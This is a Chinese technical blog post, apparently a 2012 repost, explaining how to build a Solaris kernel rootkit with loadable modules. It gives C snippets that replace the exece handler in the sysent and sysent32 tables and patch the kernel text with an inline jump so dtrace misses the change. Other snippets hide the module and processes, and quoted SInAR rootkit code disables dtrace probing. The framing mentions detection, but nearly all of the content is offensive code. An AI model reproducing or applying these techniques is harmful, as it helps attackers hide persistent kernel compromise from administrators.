Chinaunix首页 | 论坛 | 博客
  • 博客访问: 601260
  • 博文数量: 353
  • 博客积分: 1104
  • 博客等级: 少尉
  • 技术积分: 1457
  • 用 户 组: 普通用户
  • 注册时间: 2008-12-23 23:02
个人简介

1、刚工作时做Linux 流控;后来做安全操作系统;再后来做操作系统加固;现在做TCP 加速。唉!没离开过类Unix!!!但是水平有限。。

文章存档

2015年(80)

2013年(4)

2012年(90)

2011年(177)

2010年(1)

2009年(1)

分类:

2012-03-29 09:54:37

  linux中,通过LKM注射来截取系统调用已经是rootkit很常见的一种方法。那么,同为UnixSolaris是否也可以通过类似的方法来hack呢?答案是肯定的,而且编程方法甚至是非常相似的。所不同的地方是现在的Solaris一般都是64bit的内核,而且,Solaris系统内置了很多debug的工具,比如dtrace,可以很容易的发现系统是否被hack了。本文就Solaris的这些检查方法来做一个简单的介绍,并且参照一些文献和亲身实验,给出具体的应对方法。



1. LKM 工具 for Solaris and Linux

对于LinuxLKM,有很多大家都比较清楚了,比如Knark或者Adore ,而且他们都提供了隐藏自身的功能(比如隐藏文件, 隐 藏 进 程, 重定向可执行文件, 隐藏网络连接)。它们采用的技术主要是利用截获open, gendents64,write等系统调用来为自己所用。至于隐藏就是“如果发现输出的信息含有自己要隐藏的信息,就把这部分的buffer抹去”。

至于在Solaris里面,同样的也是有很多的系统调用,而且Solaris将系统调用表export出来。这样,想要截获Solaris的系统调用就很容易了。目前在Solaris上,也有一些Rookit,比如SInAR, slkm等等。他们是通过截获系统调用来隐藏自身。

2. Hack方法

截获系统调用的方法有很多,我们可以自己写一个dummy系统调用函数,再将这个函数的地址在export的系统调用表里替换一下;同样也可以截取系统调用的地址,写一些opcode将其栈地址写成我们的dummy函数。在看具体看例子之前,先看一个系统调用的结构。

struct sysent {

char sy_narg; /* total number of arguments */

#ifdef _LP64

unsigned short sy_flags; /* various flags as defined below */

#else

unsigned char sy_flags; /* various flags as defined below */

#endif

int (*sy_call)(); /* argp, rvalp-style handler */

krwlock_t *sy_lock; /* lock for loadable system calls */

int64_t (*sy_callc)(); /* C-style call hander or wrapper */

};

这个结构就是系统调用表的结构,其中sy_callc就是系统设置的系统调用函数地址,而我们要做的,就是让他执行我们自己的函数。

2.1 替换系统调用

我们先看一个最简单的例子。



int new_exece(const char *path, int oflag, mode_t mode)

{

cmn_err(CE_NOTE, "anm, new exece, path is %s", path);

return old_exece(path, oflag, mode);

}


int _init(void)

{

if ((i = mod_install(&modlinkage)) != 0)

cmn_err(CE_NOTE, "Could not install module\n");


old_exece = (void *) sysent[SYS_exece].sy_callc;


sysent[SYS_exece].sy_callc = (void *) new_exece;

return i;

}


int _fini(void)

{

int i;

if ((i = mod_remove(&modlinkage)) != 0)

cmn_err(CE_NOTE, "Could not remove module");

sysent[SYS_exece].sy_callc = (void *) old_exece;


return i;

}

在上面的例子中,就是一个很简单但是全面的截取系统调用exece的方法,就是在_init函数中将sysent中的SYS_exece数组项sy_callc函数的入口地址设置成为我们的new_exece中,其中的sysent就是Solaris的系统调用表,和Linux不同,Linux2.4开始,系统调用表已经不公开export出来了,虽然可以通过内存检索得出系统调用表的位置,但是对于LKM来说稍微加了一点门坎。而Solaris可能是为了向前兼容,所以这部分的代码一直都没怎么变。

new_exece里面,我们没有做任何事,只是输出了一行,提示这已经是我们的exece了。还有注意一定要调用原来的old_exece函数来完成相应的功能。虽然我们只加了一行程序,但考虑到同时可能有非常非常多的exece请求,这有可能会对系统性能造成非常大的影响。在Linux中的LKM,处于隐藏的需要,可能要在read或者write系统调用里面写一些内存操作程序,这其实对系统性能影响是很显著的。

回到我们的话题,在模块退出的时候,一定要用“sysent[SYS_exece].sy_callc = (void *) old_exece;”把原来的exece调用函数指回到系统调用表中。否则的话,后果很严重!嘿嘿。

2.2 截取系统调用

上面是最简单直接的替换系统调用表里的函数,但是这样做是有问题的。比如dtrace可以直接得到系统调用函数的地址,如果用我们的函数来进行替换,那么很细心的系统管理员还是可以注意到系统已经被hack了。比如如下的dtrace程序。

#cat exec.d

#!/usr/sbin/dtrace -s


dtrace:::BEGIN

{

ptr = (long *)&`exece;

printf("\nsysent[$1]:0x%p\n",`sysent[$1].sy_callc);

printf("Exec at: 0x%p\n", ptr);

exit(0);

}


# ./exec.d 11

dtrace: script './exec.d' matched 1 probe

CPU ID FUNCTION:NAME

1 1 :BEGIN

sysent[$1]:0xfffffffffb9bca28

Exec at: 0xfffffffffb9bca58

如果我们用上面的系统调用替换,那么Exec程序捕获的地址就不会是显示的这个地址。

我们可以用给系统打patch的方法改变syscall的内容,如下面的程序。

short x = 0;

char jmpl_x86[7] = "\xb8\x00\x00\x00\x00\xff\xe0";

*(long *)&jmpl_x86[1] = (long)new_exece;


for(x=0;x<7;x++)

hot_patch_kernel_text(kern_call+ x,jmpl_x86[x],1);


hot_patch_kernel_text函数里面,就是把jmpl_x86所指的内容放到系统调用表里面,那么jmpl_x86是什么呢?“\xb8\x00\x00\x00\x00\xff\xe0”在汇编指令中就是”mov 0 %eax;jmp %ebx”,然后在下一条指令里面把我们的new_exece的地址给”mov”指令。再通过hot_patch_kernel_text函数来把这个跳转指令写进去。这样,当执行exec 系统调用的时候首先就是进行跳转到new_exece函数里面去,这样通过上面的dtrace脚本看上去,exec系统调用的地址不会变,但是其实已经系统调用已经被hack了。

3. 目前Rootkit存在的问题

上面介绍的方法其实在Linux或者Solaris里都是通用的,但是在Solaris上面,如果直接拿上面的方法试图去截获系统调用,在相当一部分的情况下都不会成功,这是因为目前Solaris基本都使用64bitkernel,除非在一些非常老的机器上。

solaris系统上,应用程序向系统内核请求调用的“门”是syscall_entry,并且process向系统内核请求服务的process modelproc_t->ulwp_t->klwp_t->kthread_t,其中proc_tulwp_t在应用层,由libc来进行转换;kernel部分由lwp转换成为thread,进行执行。有关详细内容请参见附录1

通过分析sycall_entry这个函数,我们会注意到如下的显示

struct sysent *

syscall_entry(kthread_t *t, long *argp)

{

klwp_t *lwp = ttolwp(t);

struct regs *rp = lwptoregs(lwp);

unsigned int code;

struct sysent *callp;

struct sysent *se = LWP_GETSYSENT(lwp);

int error = 0;

uint_t nargs;

...

这下知道了,系统调用表是通过LWP_GETSYSENT(lwp)宏来得到的,

#ifdef _SYSCALL32_IMPL

#define LWP_GETSYSENT(lwp) \

(lwp_getdatamodel(lwp) == DATAMODEL_NATIVE ? sysent : sysent32)

#else

#define LWP_GETSYSENT(lwp) (sysent)

#endif



原来在Solaris里面,有两个系统调用表,可能是为了和之前的系统兼容,Solaris保留了一个sysent32的系统调用表。查看sysent32的定义:

/*

* sysent table for ILP32 processes running on

* a LP64 kernel.

*/

struct sysent sysent32[NSYSCALL] =

{

原来sysent32是特地为64位的内核上运行32位的程序预备的,在查看我的bash文件,

# file /bin/bash

/bin/bash: ELF 32-bit LSB executable 80386 Version 1 [FPU], dynamically linked...

当在64位的系统上运行32位的shell时,系统采用了不同的调用表。我们可以将例子1里面的程序的sysent系统调用表改成sysent32,然后用它来截获系统调用,果然一切OK

那么在64bit的机器上,用上面机器码的例子来截获系统调用也是不能成功的,原因就是64位是8个字节,所以相应的地址要进行改变;而且jmp指令的机器码也有不同,那么具体就要参考intel或者amd的硬件手册了。

4. 如何隐藏自身

Solaris里面的隐藏和Linux里面的隐藏方法基本一样,比如文件隐藏,网络隐藏等等,下面以模块隐藏和进程隐藏为例,抛砖引玉。

4.1 如何隐藏模块

module的隐藏还是比较容易的,就是把特定的modulemodule_list链表里面摘除,就可以了。

# mdb -k

> modules::print

{

mod_next = 0x1850aa0

mod_prev = 0x300021aaea8

mod_id = 0

mod_mp = 0x184cef0

mod_inprogress_thread = 0

mod_modinfo = 0

mod_linkage = 0

mod_filename = 0x184ceb8 "/platform/sun4u/kernel/sparcv9/unix"

mod_modname = 0x184ced7 "unix"

mod_busy = '\0'

mod_want = '\0'

mod_prim = '\001'

mod_ref = 0

mod_loaded = '\001'

mod_installed = '\001'

mod_loadflags = '\001'

mod_delay_unload = '\0'

mod_requisites = 0

mod_dependents = 0

mod_loadcnt = 0x1

mod_nenabled = 0

mod_text = scb

[...]

}

>

利用一个简单的摘链表的步骤即可:

prev->next = next;

next->prev = prev;

4.2 进程隐藏

要想不被ps等命令发现,就要保证在proc结构中我们想要隐藏的进程消失。具体方法就是将proc结构中的p_pidp->pid_prinactive设置为1即可。

if(curproc->p_parent)

{

if(curproc->p_parent->p_pidp->pid_prinactive)

{

curproc->p_pidp->pid_prinactive = 1;

}

}




4.3 如何对付dtrace

dtrace提供了很多的FBT探点,对于系统调用,通过这些探点可以看到正在执行的系统调用的堆栈,和系统调用函数的名字(有关dtrace详情,请参见附录2)。在SInar中,作者并没有给出很好的绕过dtrace的方法,他仅仅是简单的把dtrace 对于插入的module disable了(因为dtrace只检测activemoduleactiveFBT 提供者)。下面的例子从SInar中直接引用过来:

dt_cond = kobj_getsymvalue("dtrace_condense",0); //取得dtrace cond符号

fbtptr = modgetsymvalue("fbt_id", 0); //取得fbt provider的符号

modcookie = dtrace_interrupt_disable(); //取得disable dtracehandler


//模块消失!

modme->mod_nenabled = 0;

modme->mod_loaded = 0;

modme->mod_installed = 0;

modme->mod_loadcnt = 0;

modme->mod_gencount = 0;


//hack dtrace

dt_cond(*fbtptr);

dtrace_sync(); // just for our own good

dtrace_interrupt_enable(modcookie);



附录

    1. Solaris Internal: Solaris 10 and OpenSolaris Kernel Architecture 2nd Edition.

    2. Dtrace docs:

    3. Sinar: http://www.rootkit.com/vault/vulndev/21c3_release.tar.bz2.gpg



阅读(732) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~